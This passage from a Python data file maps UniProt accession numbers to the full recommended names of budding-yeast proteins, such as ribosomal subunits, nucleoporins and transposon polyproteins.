'Q02100' : ntuniprot(RecName_Full='CRE-binding bZIP protein SKO1'),
'Q02159' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2 7'),
'Q02196' : ntuniprot(RecName_Full='Adenylyl-sulfate kinase'),
'Q02197' : ntuniprot(RecName_Full='N-alpha-acetyltransferase 35, NatC auxiliary subunit'),
'Q02199' : ntuniprot(RecName_Full='Nucleoporin NUP49/NSP49'),
'Q02201' : ntuniprot(RecName_Full='Oxysterol-binding protein homolog 6'),
'Q02202' : ntuniprot(RecName_Full='Protein ECM9'),
'Q02203' : ntuniprot(RecName_Full='Uncharacterized protein YKR005C'),
'Q02204' : ntuniprot(RecName_Full='54S ribosomal protein L13, mitochondrial'),
'Q02205' : ntuniprot(RecName_Full='Protein MEH1'),
'Q02206' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex subunit RSC4'),
'Q02207' : ntuniprot(RecName_Full='Peroxisomal hydratase-dehydrogenase-epimerase'),
'Q02208' : ntuniprot(RecName_Full='Topoisomerase 1-associated factor 2'),
'Q02209' : ntuniprot(RecName_Full='Uncharacterized protein YKR011C'),
'Q02256' : ntuniprot(RecName_Full='Tyrosine-protein phosphatase YVH1'),
'Q02260' : ntuniprot(RecName_Full='Small nuclear ribonucleoprotein Sm D1'),
'Q02326' : ntuniprot(RecName_Full='60S ribosomal protein L6-A {ECO:0000303|PubMed:9559554}'),
'Q02336' : ntuniprot(RecName_Full='Transcriptional adapter 2'),
'Q02354' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 6'),
'Q02455' : ntuniprot(RecName_Full='Protein MLP1'),
'Q02457' : ntuniprot(RecName_Full='Protein TBF1'),
'Q02486' : ntuniprot(RecName_Full='ARS-binding factor 2, mitochondrial'),
'Q02516' : ntuniprot(RecName_Full='Transcriptional activator HAP5'),
'Q02521' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SPP2'),
'Q02554' : ntuniprot(RecName_Full='Cold sensitive U2 snRNA suppressor 1'),
'Q02555' : ntuniprot(RecName_Full='Ribonuclease 3'),
'Q02574' : ntuniprot(RecName_Full='DNA damage checkpoint control protein MEC3'),
'Q02598' : ntuniprot(RecName_Full='Uncharacterized protein YIL014C-A'),
'Q02606' : ntuniprot(RecName_Full='Uncharacterized protein YPL014W'),
'Q02608' : ntuniprot(RecName_Full='37S ribosomal protein S16, mitochondrial'),
'Q02629' : ntuniprot(RecName_Full='Nucleoporin NUP100/NSP100'),
'Q02630' : ntuniprot(RecName_Full='Nucleoporin NUP116/NSP116'),
'Q02642' : ntuniprot(RecName_Full='Nascent polypeptide-associated complex subunit beta-1'),
'Q02647' : ntuniprot(RecName_Full='Dynein light chain 1, cytoplasmic'),
'Q02648' : ntuniprot(RecName_Full='tRNA (uracil-O(2)-)-methyltransferase'),
'Q02651' : ntuniprot(RecName_Full='Spore membrane assembly protein 1'),
'Q02685' : ntuniprot(RecName_Full='RecQ-mediated genome instability protein 1'),
'Q02710' : ntuniprot(RecName_Full='Protein ECM23'),
'Q02721' : ntuniprot(RecName_Full='Meiotic recombination protein REC102'),
'Q02724' : ntuniprot(RecName_Full='Ubiquitin-like-specific protease 1'),
'Q02725' : ntuniprot(RecName_Full='Vacuolar transporter chaperone 3'),
'Q02732' : ntuniprot(RecName_Full='Inner kinetochore subunit CTF19 {ECO:0000305}'),
'Q02733' : ntuniprot(RecName_Full='Increased recombination centers protein 15'),
'Q02749' : ntuniprot(RecName_Full='Uncharacterized protein YPL068C'),
'Q02753' : ntuniprot(RecName_Full='60S ribosomal protein L21-A {ECO:0000303|PubMed:9559554}'),
'Q02754' : ntuniprot(RecName_Full='Uncharacterized protein YPL067C'),
'Q02767' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 28'),
'Q02770' : ntuniprot(RecName_Full='Peptidyl-prolyl isomerase CWC27'),
'Q02771' : ntuniprot(RecName_Full='Protein PET117, mitochondrial'),
'Q02772' : ntuniprot(RecName_Full='Mitochondrial protein PET191'),
'Q02773' : ntuniprot(RecName_Full='Ribonuclease P protein component, mitochondrial'),
'Q02774' : ntuniprot(RecName_Full='Secretory component protein SHR3'),
'Q02775' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SLU7'),
'Q02776' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM50'),
'Q02783' : ntuniprot(RecName_Full='Mitochondrial inner membrane magnesium transporter MFM1'),
'Q02784' : ntuniprot(RecName_Full='Monothiol glutaredoxin-5, mitochondrial'),
'Q02785' : ntuniprot(RecName_Full='ATP-dependent permease PDR12'),
'Q02786' : ntuniprot(RecName_Full='Long chronological lifespan protein 1'),
'Q02792' : ntuniprot(RecName_Full="5'-3' exoribonuclease 2"),
'Q02793' : ntuniprot(RecName_Full='Antiviral protein SKI8'),
'Q02794' : ntuniprot(RecName_Full='Protein STD1'),
'Q02795' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit SWP1'),
'Q02796' : ntuniprot(RecName_Full='Transcriptional regulatory protein LGE1'),
'Q02799' : ntuniprot(RecName_Full='Zinc finger protein LEE1'),
'Q02803' : ntuniprot(RecName_Full='Ornithine decarboxylase antizyme'),
'Q02804' : ntuniprot(RecName_Full='ADP-ribosylation factor-like protein 3'),
'Q02805' : ntuniprot(RecName_Full='Protein ROD1'),
'Q02820' : ntuniprot(RecName_Full='Non-classical export protein 1'),
'Q02821' : ntuniprot(RecName_Full='Importin subunit alpha'),
'Q02825' : ntuniprot(RecName_Full='tRNA-splicing endonuclease subunit SEN54'),
'Q02831' : ntuniprot(RecName_Full='Uncharacterized protein YPL077C'),
'Q02863' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 16'),
'Q02864' : ntuniprot(RecName_Full='Uncharacterized protein YPL071C'),
'Q02866' : ntuniprot(RecName_Full='Protein MUK1'),
'Q02872' : ntuniprot(RecName_Full='Uncharacterized protein YPL108W'),
'Q02873' : ntuniprot(RecName_Full='UPF0651 protein YPL107W, mitochondrial'),
'Q02875' : ntuniprot(RecName_Full='SMY2 homolog 2'),
'Q02883' : ntuniprot(RecName_Full='N-acyl-phosphatidylethanolamine-hydrolyzing phospholipase D, mitochondrial'),
'Q02884' : ntuniprot(RecName_Full='Elongator complex protein 4'),
'Q02887' : ntuniprot(RecName_Full='Autophagy-related protein 21'),
'Q02888' : ntuniprot(RecName_Full='Inner membrane assembly complex subunit 17 {ECO:0000305|PubMed:24942160}'),
'Q02889' : ntuniprot(RecName_Full='Protein MGR2'),
'Q02890' : ntuniprot(RecName_Full='Peptide-N(4)-(N-acetyl-beta-glucosaminyl)asparagine amidase'),
'Q02891' : ntuniprot(RecName_Full='Medium-chain fatty acid ethyl ester synthase/esterase 1'),
'Q02892' : ntuniprot(RecName_Full='Nucleolar GTP-binding protein 1'),
'Q02895' : ntuniprot(RecName_Full='Putative aryl-alcohol dehydrogenase AAD16 {ECO:0000303|PubMed:10581269}'),
'Q02896' : ntuniprot(RecName_Full='Alkaline ceramidase YDC1'),
'Q02908' : ntuniprot(RecName_Full='Elongator complex protein 3'),
'Q02931' : ntuniprot(RecName_Full='NET1-associated nuclear protein 1'),
'Q02932' : ntuniprot(RecName_Full='Importin beta-like protein KAP120'),
'Q02933' : ntuniprot(RecName_Full='Ribonuclease T2-like'),
'Q02939' : ntuniprot(RecName_Full='General transcription and DNA repair factor IIH subunit TFB2'),
'Q02948' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 30'),
'Q02950' : ntuniprot(RecName_Full='37S ribosomal protein MRP51, mitochondrial'),
'Q02959' : ntuniprot(RecName_Full='Histone deacetylase HOS3'),
'Q02961' : ntuniprot(RecName_Full='Putative 2-hydroxyacid dehydrogenase YPL113C'),
'Q02969' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX25'),
'Q02979' : ntuniprot(RecName_Full='Glycerophosphocholine phosphodiesterase GDE1 {ECO:0000303|PubMed:16141200}'),
'Q02981' : ntuniprot(RecName_Full='ABC1 family protein YPL109C, mitochondrial'),
'Q02983' : ntuniprot(RecName_Full='RNA polymerase I-specific transcription initiation factor RRN5'),
'Q03002' : ntuniprot(RecName_Full='Fatty acyl-CoA synthetase and RNA processing-associated kinase 1'),
'Q03010' : ntuniprot(RecName_Full='Transcriptional regulatory protein UME1'),
'Q03012' : ntuniprot(RecName_Full='COMPASS component SPP1'),
'Q03016' : ntuniprot(RecName_Full='GLC7-interacting protein 3'),
'Q03018' : ntuniprot(RecName_Full='Separin'),
'Q03020' : ntuniprot(RecName_Full='Iron sulfur cluster assembly protein 1, mitochondrial'),
'Q03028' : ntuniprot(RecName_Full='Mitochondrial 2-oxodicarboxylate carrier 1'),
'Q03029' : ntuniprot(RecName_Full='Sporulation-specific protein 19'),
'Q03034' : ntuniprot(RecName_Full='Ferulic acid decarboxylase 1 {ECO:0000255|HAMAP-Rule:MF_03196, ECO:0000303|PubMed:20471595}'),
'Q03036' : ntuniprot(RecName_Full='Uncharacterized protein IRC4'),
'Q03048' : ntuniprot(RecName_Full='Cofilin'),
'Q03049' : ntuniprot(RecName_Full='Putative uncharacterized oxidoreductase YDR541C'),
'Q03050' : ntuniprot(RecName_Full='Seripauperin-10'),
'Q03063' : ntuniprot(RecName_Full='Down-regulator of invasive growth 1'),
'Q03067' : ntuniprot(RecName_Full='SAGA-associated factor 11 {ECO:0000255|HAMAP-Rule:MF_03047}'),
'Q03071' : ntuniprot(RecName_Full='Elongin-C'),
'Q03079' : ntuniprot(RecName_Full='MIOREX complex component 11 {ECO:0000305|PubMed:25683707}'),
'Q03080' : ntuniprot(RecName_Full='Uncharacterized protein YPL039W'),
'Q03081' : ntuniprot(RecName_Full='Transcriptional regulator MET31'),
'Q03083' : ntuniprot(RecName_Full='Uncharacterized protein YPL034W'),
'Q03085' : ntuniprot(RecName_Full='Oxidoreductase-like protein SRL4'),
'Q03088' : ntuniprot(RecName_Full='Styryl dye vacuolar localization protein 3'),
'Q03096' : ntuniprot(RecName_Full='Telomere replication protein EST3'),
'Q03099' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase YML133C"),
'Q03102' : ntuniprot(RecName_Full='Uncharacterized membrane protein YML131W'),
'Q03103' : ntuniprot(RecName_Full='Endoplasmic oxidoreductin-1'),
'Q03104' : ntuniprot(RecName_Full='Meiotic sister chromatid recombination protein 1'),
'Q03124' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex subunit RSC9'),
'Q03125' : ntuniprot(RecName_Full='Transcriptional regulator NRG1'),
'Q03144' : ntuniprot(RecName_Full="Pyridoxal 5'-phosphate synthase subunit SNO1"),
'Q03148' : ntuniprot(RecName_Full="Pyridoxal 5'-phosphate synthase subunit SNZ1"),
'Q03151' : ntuniprot(RecName_Full='Mitochondrial GTPase 1'),
'Q03153' : ntuniprot(RecName_Full='ATPase synthesis protein 25, mitochondrial'),
'Q03161' : ntuniprot(RecName_Full='Glucose-6-phosphate 1-epimerase {ECO:0000305}'),
'Q03162' : ntuniprot(RecName_Full='MYND-type zinc finger protein MUB1'),
'Q03175' : ntuniprot(RecName_Full='Dehydrodolichyl diphosphate synthase complex subunit SRT1 {ECO:0000305}'),
'Q03177' : ntuniprot(RecName_Full='WD repeat-containing protein YMR102C'),
'Q03178' : ntuniprot(RecName_Full='Cell wall mannoprotein PIR1'),
'Q03180' : ntuniprot(RecName_Full='Cell wall mannoprotein PIR3'),
'Q03193' : ntuniprot(RecName_Full='Uncharacterized membrane protein YDR090C'),
'Q03195' : ntuniprot(RecName_Full='Translation initiation factor RLI1'),
'Q03201' : ntuniprot(RecName_Full='37S ribosomal protein S10, mitochondrial'),
'Q03205' : ntuniprot(RecName_Full='Uncharacterized protein YDR042C'),
'Q03208' : ntuniprot(RecName_Full='Uncharacterized protein YML119W'),
'Q03210' : ntuniprot(RecName_Full='Probable RNA exonuclease NGL3'),
'Q03212' : ntuniprot(RecName_Full='Protein EAR1'),
'Q03213' : ntuniprot(RecName_Full='High-osmolarity-induced transcription protein 1'),
'Q03214' : ntuniprot(RecName_Full='Protein ECM5'),
'Q03218' : ntuniprot(RecName_Full='Mitochondrial metal transporter 1'),
'Q03219' : ntuniprot(RecName_Full='Uncharacterized protein YMR178W'),
'Q03220' : ntuniprot(RecName_Full="Polynucleotide 5'-triphosphatase"),
'Q03231' : ntuniprot(RecName_Full='Uncharacterized protein YMR181C'),
'Q03233' : ntuniprot(RecName_Full='Alpha1-proteinase inhibitor-degradation deficient protein 37'),
'Q03236' : ntuniprot(RecName_Full='Uncharacterized protein YMR187C'),
'Q03246' : ntuniprot(RecName_Full='37S ribosomal protein S17, mitochondrial'),
'Q03254' : ntuniprot(RecName_Full='RNA polymerase II subunit A C-terminal domain phosphatase'),
'Q03262' : ntuniprot(RecName_Full='Phosphoribomutase {ECO:0000303|PubMed:23103740}'),
'Q03263' : ntuniprot(RecName_Full='Uncharacterized transporter YMR279C'),
'Q03264' : ntuniprot(RecName_Full='RNA exonuclease NGL2'),
'Q03266' : ntuniprot(RecName_Full='Aminodeoxychorismate lyase'),
'Q03280' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase TOM1'),
'Q03281' : ntuniprot(RecName_Full='Inner nuclear membrane protein HEH2'),
'Q03289' : ntuniprot(RecName_Full='Palmitoyltransferase PFA5'),
'Q03290' : ntuniprot(RecName_Full='RNA polymerase II transcription factor B subunit 3'),
'Q03305' : ntuniprot(RecName_Full='Protein arginine N-methyltransferase 2 {ECO:0000303|PubMed:9873020}'),
'Q03306' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PKH3'),
'Q03308' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 16'),
'Q03322' : ntuniprot(RecName_Full='t-SNARE affecting a late Golgi compartment protein 1'),
'Q03323' : ntuniprot(RecName_Full='COMPASS component SDC1'),
'Q03327' : ntuniprot(RecName_Full='Mitochondrial fusion and transport protein UGO1'),
'Q03330' : ntuniprot(RecName_Full='Histone acetyltransferase GCN5'),
'Q03337' : ntuniprot(RecName_Full='Trafficking protein particle complex subunit 31'),
'Q03338' : ntuniprot(RecName_Full='U4/U6 small nuclear ribonucleoprotein PRP3'),
'Q03361' : ntuniprot(RecName_Full='Uncharacterized protein JIP4'),
'Q03362' : ntuniprot(RecName_Full='Uncharacterized protein YDR476C'),
'Q03370' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX29'),
'Q03373' : ntuniprot(RecName_Full='Down-regulator of invasive growth 2'),
'Q03375' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CWC21'),
'Q03388' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 72'),
'Q03390' : ntuniprot(RecName_Full='Vacuolar protein-sorting-associated protein 60'),
'Q03406' : ntuniprot(RecName_Full='DNA replication complex GINS protein SLD5'),
'Q03407' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PKH1'),
'Q03419' : ntuniprot(RecName_Full='ADIPOR-like receptor IZH1'),
'Q03429' : ntuniprot(RecName_Full='Mitochondrial zinc maintenance protein 1, mitochondrial'),
'Q03430' : ntuniprot(RecName_Full='37S ribosomal protein RSM28, mitochondrial'),
'Q03433' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 71'),
'Q03434' : ntuniprot(RecName_Full='Transposon Ty1-ML2 Gag-Pol polyprotein'),
'Q03435' : ntuniprot(RecName_Full='Non-histone protein 10'),
'Q03441' : ntuniprot(RecName_Full='Sporulation protein RMD1'),
'Q03446' : ntuniprot(RecName_Full='Protein RCR2'),
'Q03455' : ntuniprot(RecName_Full='Probable zinc transporter MSC2'),
'Q03465' : ntuniprot(RecName_Full='Protein RPN4'),
'Q03466' : ntuniprot(RecName_Full='Protein EBS1'),
'Q03482' : ntuniprot(RecName_Full='Cysteine-rich and transmembrane domain-containing protein YDR210W'),
'Q03483' : ntuniprot(RecName_Full='Transposon Ty2-DR2 Gag polyprotein'),
'Q03494' : ntuniprot(RecName_Full='Transposon Ty2-DR2 Gag-Pol polyprotein'),
'Q03496' : ntuniprot(RecName_Full="tRNA (cytidine(32)-2'-O)-methyltransferase non-catalytic subunit TRM732"),
'Q03497' : ntuniprot(RecName_Full='Serine/threonine-protein kinase STE20'),
'Q03503' : ntuniprot(RecName_Full='N-alpha-acetyltransferase 30'),
'Q03508' : ntuniprot(RecName_Full='Uncharacterized protein YMR265C'),
'Q03516' : ntuniprot(RecName_Full='Uncharacterized protein RSN1'),
'Q03525' : ntuniprot(RecName_Full='Protein TMA23'),
'Q03529' : ntuniprot(RecName_Full='Ceramide very long chain fatty acid hydroxylase SCS7 {ECO:0000305|PubMed:9368039}'),
'Q03530' : ntuniprot(RecName_Full='CAAX prenyl protease 2'),
'Q03532' : ntuniprot(RecName_Full='ATP-dependent RNA helicase HAS1'),
'Q03533' : ntuniprot(RecName_Full='Serine/threonine-protein kinase TDA1'),
'Q03554' : ntuniprot(RecName_Full='Protein transport protein GOT1'),
'Q03557' : ntuniprot(RecName_Full='Glutamyl-tRNA(Gln) amidotransferase subunit A, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03150}'),
'Q03558' : ntuniprot(RecName_Full='NADPH dehydrogenase 2'),
'Q03559' : ntuniprot(RecName_Full='Uncharacterized protein YMR295C'),
'Q03579' : ntuniprot(RecName_Full='Ceramide synthase subunit LIP1'),
'Q03612' : ntuniprot(RecName_Full='Transposon Ty1-ER1 Gag-Pol polyprotein'),
'Q03619' : ntuniprot(RecName_Full='Transposon Ty1-ER2 Gag-Pol polyprotein'),
'Q03629' : ntuniprot(RecName_Full='Uncharacterized protein YML079W'),
'Q03630' : ntuniprot(RecName_Full='Trafficking protein particle complex subunit BET5'),
'Q03631' : ntuniprot(RecName_Full='Weak acid resistance protein 1'),
'Q03640' : ntuniprot(RecName_Full='Tricalbin-3'),
'Q03648' : ntuniprot(RecName_Full='Uncharacterized protein YMR209C'),
'Q03649' : ntuniprot(RecName_Full='Putative esterase YMR210W'),
'Q03652' : ntuniprot(RecName_Full='Protein DML1'),
'Q03653' : ntuniprot(RecName_Full='Protein EFR3'),
'Q03654' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CEF1'),
'Q03655' : ntuniprot(RecName_Full='Probable 1,3-beta-glucanosyltransferase GAS3'),
'Q03656' : ntuniprot(RecName_Full='Serine/threonine-protein kinase SKY1'),
'Q03660' : ntuniprot(RecName_Full='Trafficking protein particle complex II-specific subunit 130'),
'Q03661' : ntuniprot(RecName_Full='Silent chromatin protein ESC1'),
'Q03667' : ntuniprot(RecName_Full='Mitochondrial intermembrane space cysteine motif-containing protein MIX17'),
'Q03673' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 34, mitochondrial'),
'Q03674' : ntuniprot(RecName_Full='Lysophospholipase 2'),
'Q03677' : ntuniprot(RecName_Full='1,2-dihydroxy-3-keto-5-methylthiopentene dioxygenase {ECO:0000255|HAMAP-Rule:MF_03154}'),
'Q03687' : ntuniprot(RecName_Full='Uncharacterized membrane protein YMR010W'),
'Q03690' : ntuniprot(RecName_Full='Clustered mitochondria protein 1'),
'Q03691' : ntuniprot(RecName_Full='Protein ROT1'),
'Q03694' : ntuniprot(RecName_Full='Inheritance of peroxisomes protein 1'),
'Q03695' : ntuniprot(RecName_Full='Uncharacterized protein YMR206W'),
'Q03697' : ntuniprot(RecName_Full='Putative nucleotide-sugar transporter YMD8'),
'Q03702' : ntuniprot(RecName_Full='Cruciform cutting endonuclease 1, mitochondrial'),
'Q03703' : ntuniprot(RecName_Full='Uncharacterized protein YML037C'),
'Q03705' : ntuniprot(RecName_Full='EKC/KEOPS complex subunit CGI121'),
'Q03707' : ntuniprot(RecName_Full='Inner nuclear membrane protein SRC1'),
'Q03713' : ntuniprot(RecName_Full='Respiratory supercomplex factor 1, mitochondrial'),
'Q03714' : ntuniprot(RecName_Full='U1 SNP1-associating protein 1'),
'Q03718' : ntuniprot(RecName_Full='Non-structural maintenance of chromosome element 5'),
'Q03722' : ntuniprot(RecName_Full='Uncharacterized protein YML020W'),
'Q03723' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit OST6'),
'Q03730' : ntuniprot(RecName_Full='Uncharacterized vacuolar membrane protein YML018C'),
'Q03735' : ntuniprot(RecName_Full='RNA-binding protein NAB6'),
'Q03750' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 8'),
'Q03758' : ntuniprot(RecName_Full='Ubiquitin ligase-binding protein BUL2'),
'Q03759' : ntuniprot(RecName_Full='Uncharacterized protein YML108W'),
'Q03760' : ntuniprot(RecName_Full='Pre-mRNA leakage protein 39'),
'Q03761' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 12'),
'Q03764' : ntuniprot(RecName_Full='Ethanolamine kinase'),
'Q03768' : ntuniprot(RecName_Full='Protein GIR2'),
'Q03769' : ntuniprot(RecName_Full='Epsin-5'),
'Q03770' : ntuniprot(RecName_Full='SPS-sensor component SSY1'),
'Q03771' : ntuniprot(RecName_Full='Assembly chaperone of RPL4 {ECO:0000303|PubMed:25936803}'),
'Q03772' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CWC15'),
'Q03774' : ntuniprot(RecName_Full='tRNA (guanine-N(7)-)-methyltransferase non-catalytic subunit TRM82 {ECO:0000255|HAMAP-Rule:MF_03056}'),
'Q03776' : ntuniprot(RecName_Full='U1 small nuclear ribonucleoprotein component PRP42'),
'Q03778' : ntuniprot(RecName_Full='Riboflavin kinase'),
'Q03780' : ntuniprot(RecName_Full='Uncharacterized protein YDR239C'),
'Q03782' : ntuniprot(RecName_Full='56 kDa U1 small nuclear ribonucleoprotein component'),
'Q03784' : ntuniprot(RecName_Full='Trafficking protein particle complex subunit 23'),
'Q03785' : ntuniprot(RecName_Full='Serine/threonine-protein kinase VHS1'),
'Q03786' : ntuniprot(RecName_Full='Probable gluconokinase'),
'Q03787' : ntuniprot(RecName_Full='Uncharacterized protein YDR249C'),
'Q03790' : ntuniprot(RecName_Full='Nucleoporin NUP53'),
'Q03792' : ntuniprot(RecName_Full='Calpain-like protease 1'),
'Q03795' : ntuniprot(RecName_Full='Uncharacterized membrane protein YMR155W'),
'Q03796' : ntuniprot(RecName_Full="Polynucleotide 3'-phosphatase"),
'Q03798' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 36, mitochondrial'),
'Q03799' : ntuniprot(RecName_Full='37S ribosomal protein S8, mitochondrial'),
'Q03818' : ntuniprot(RecName_Full='Autophagy protein 16'),
'Q03823' : ntuniprot(RecName_Full='Uncharacterized protein YMR160W'),
'Q03824' : ntuniprot(RecName_Full='Inheritance of peroxisomes protein 2'),
'Q03825' : ntuniprot(RecName_Full='Transcription activator MSS11'),
'Q03829' : ntuniprot(RecName_Full='Uncharacterized mitochondrial carrier YMR166C'),
'Q03833' : ntuniprot(RecName_Full='Transcriptional activator/repressor GIS1'),
'Q03834' : ntuniprot(RecName_Full='DNA mismatch repair protein MSH6'),
'Q03835' : ntuniprot(RecName_Full='Monothiol glutaredoxin-3'),
'Q03855' : ntuniprot(RecName_Full='Transposon Ty1-DR1 Gag-Pol polyprotein'),
'Q03856' : ntuniprot(RecName_Full='Transposon Ty1-DR1 Gag polyprotein'),
'Q03860' : ntuniprot(RecName_Full='Golgi apparatus membrane protein TVP15'),
'Q03862' : ntuniprot(RecName_Full='Probable metalloprotease ARX1'),
'Q03868' : ntuniprot(RecName_Full='Sporulation-specific protein 71'),
'Q03880' : ntuniprot(RecName_Full='V-type ATPase assembly factor PKR1'),
'Q03897' : ntuniprot(RecName_Full='Maintenance of telomere capping protein 5'),
'Q03898' : ntuniprot(RecName_Full='Filament protein FIN1'),
'Q03899' : ntuniprot(RecName_Full='F-box protein YDR131C'),
'Q03900' : ntuniprot(RecName_Full='Uncharacterized protein YDR132C'),
'Q03919' : ntuniprot(RecName_Full='NEDD8-like protein RUB1'),
'Q03920' : ntuniprot(RecName_Full='eRF1 methyltransferase catalytic subunit MTQ2'),
'Q03921' : ntuniprot(RecName_Full='Protein dopey'),
'Q03935' : ntuniprot(RecName_Full='AP-1-like transcription factor YAP6'),
'Q03937' : ntuniprot(RecName_Full='Meiosis-specific protein HED1'),
'Q03940' : ntuniprot(RecName_Full='RuvB-like protein 1'),
'Q03941' : ntuniprot(RecName_Full='Dephospho-CoA kinase CAB5'),
'Q03942' : ntuniprot(RecName_Full='Ribosomal lysine N-methyltransferase 2 {ECO:0000303|PubMed:17005568}'),
'Q03944' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 64'),
'Q03954' : ntuniprot(RecName_Full='DASH complex subunit SPC19'),
'Q03956' : ntuniprot(RecName_Full='Regulator of V-ATPase in vacuolar membrane protein 2'),
'Q03957' : ntuniprot(RecName_Full='CTD kinase subunit alpha'),
'Q03964' : ntuniprot(RecName_Full='Transposon Ty1-DR2 Gag polyprotein'),
'Q03973' : ntuniprot(RecName_Full='High mobility group protein 1'),
'Q03976' : ntuniprot(RecName_Full='37S ribosomal protein S24, mitochondrial'),
'Q03981' : ntuniprot(RecName_Full='COP9 signalosome complex subunit 9'),
'Q03983' : ntuniprot(RecName_Full='Uncharacterized protein YDR179W-A'),
'Q04002' : ntuniprot(RecName_Full='Sister chromatid cohesion protein 2'),
'Q04003' : ntuniprot(RecName_Full='Something about silencing protein 4'),
'Q04004' : ntuniprot(RecName_Full='Phosducin-like protein 1'),
'Q04005' : ntuniprot(RecName_Full='Protein ATC1/LIC4'),
'Q04006' : ntuniprot(RecName_Full='Protein UPS3, mitochondrial'),
'Q04007' : ntuniprot(RecName_Full='SRP-independent targeting protein 1 {ECO:0000303|PubMed:27905431}'),
'Q04013' : ntuniprot(RecName_Full='Citrate/oxoglutarate carrier protein {ECO:0000303|PubMed:20371607}'),
'Q04018' : ntuniprot(RecName_Full='Uncharacterized protein YMR244W'),
'Q04031' : ntuniprot(RecName_Full='Ribosomal RNA-processing protein 17'),
'Q04033' : ntuniprot(RecName_Full='Probable aminopeptidase YDR415C'),
'Q04048' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SYF1'),
'Q04049' : ntuniprot(RecName_Full='DNA polymerase eta'),
'Q04052' : ntuniprot(RecName_Full='Transcriptional activator ARO80'),
'Q04053' : ntuniprot(RecName_Full='Sorting nexin-41'),
'Q04062' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN9'),
'Q04066' : ntuniprot(RecName_Full='Kynurenine formamidase {ECO:0000255|HAMAP-Rule:MF_03014}'),
'Q04067' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 3 subunit G {ECO:0000255|HAMAP-Rule:MF_03006}'),
'Q04080' : ntuniprot(RecName_Full='GPI transamidase component GPI17'),
'Q04081' : ntuniprot(RecName_Full='Leucine carboxyl methyltransferase 1'),
'Q04082' : ntuniprot(RecName_Full='Phosphatidylinositol N-acetylglucosaminyltransferase subunit GPI19'),
'Q04083' : ntuniprot(RecName_Full='Thiamine-repressible mitochondrial transport protein THI74'),
'Q04087' : ntuniprot(RecName_Full='Monopolin complex subunit LRS4'),
'Q04089' : ntuniprot(RecName_Full='Histone-lysine N-methyltransferase, H3 lysine-79 specific'),
'Q04093' : ntuniprot(RecName_Full='Putative lipase YDR444W'),
'Q04110' : ntuniprot(RecName_Full='Protein ECM11'),
'Q04116' : ntuniprot(RecName_Full='Homeobox protein YHP1'),
'Q04119' : ntuniprot(RecName_Full='Endopolyphosphatase {ECO:0000303|PubMed:11447286}'),
'Q04120' : ntuniprot(RecName_Full='Peroxiredoxin TSA2 {ECO:0000305}'),
'Q04121' : ntuniprot(RecName_Full='Endosomal/prevacuolar sodium/hydrogen exchanger'),
'Q04149' : ntuniprot(RecName_Full='Crossover junction endonuclease MUS81'),
'Q04162' : ntuniprot(RecName_Full='Probable metabolite transport protein YDR387C'),
'Q04170' : ntuniprot(RecName_Full='Uncharacterized protein YDR391C'),
'Q04172' : ntuniprot(RecName_Full='Sensitive to high expression protein 9, mitochondrial'),
'Q04174' : ntuniprot(RecName_Full='GPI mannosyltransferase 4'),
'Q04175' : ntuniprot(RecName_Full='Importin beta SMX1'),
'Q04177' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 5'),
'Q04178' : ntuniprot(RecName_Full='Hypoxanthine-guanine phosphoribosyltransferase'),
'Q04179' : ntuniprot(RecName_Full='Uridine nucleosidase'),
'Q04182' : ntuniprot(RecName_Full='ATP-dependent permease PDR15'),
'Q04183' : ntuniprot(RecName_Full='Trafficking protein particle complex II-specific subunit 120'),
'Q04195' : ntuniprot(RecName_Full='E3 SUMO-protein ligase SIZ1'),
'Q04199' : ntuniprot(RecName_Full='Chromatin assembly factor 1 subunit p60'),
'Q04201' : ntuniprot(RecName_Full='CUE domain-containing protein CUE4'),
'Q04210' : ntuniprot(RecName_Full='Endoplasmic reticulum transmembrane protein 2'),
'Q04212' : ntuniprot(RecName_Full='D-arabinose 1-dehydrogenase'),
'Q04213' : ntuniprot(RecName_Full='ISWI one complex protein 4'),
'Q04214' : ntuniprot(RecName_Full='Transposon Ty1-MR1 Gag-Pol polyprotein'),
'Q04215' : ntuniprot(RecName_Full='Transposon Ty1-MR1 Gag polyprotein'),
'Q04216' : ntuniprot(RecName_Full='Defect at low temperature protein 1'),
'Q04217' : ntuniprot(RecName_Full='Probable ATP-dependent RNA helicase DHR1'),
'Q04223' : ntuniprot(RecName_Full='Uncharacterized protein YMR130W'),
'Q04225' : ntuniprot(RecName_Full='Ribosome assembly protein RRB1'),
'Q04226' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 11'),
'Q04228' : ntuniprot(RecName_Full='UBX domain-containing protein 2'),
'Q04231' : ntuniprot(RecName_Full='DNA repair protein RAD33'),
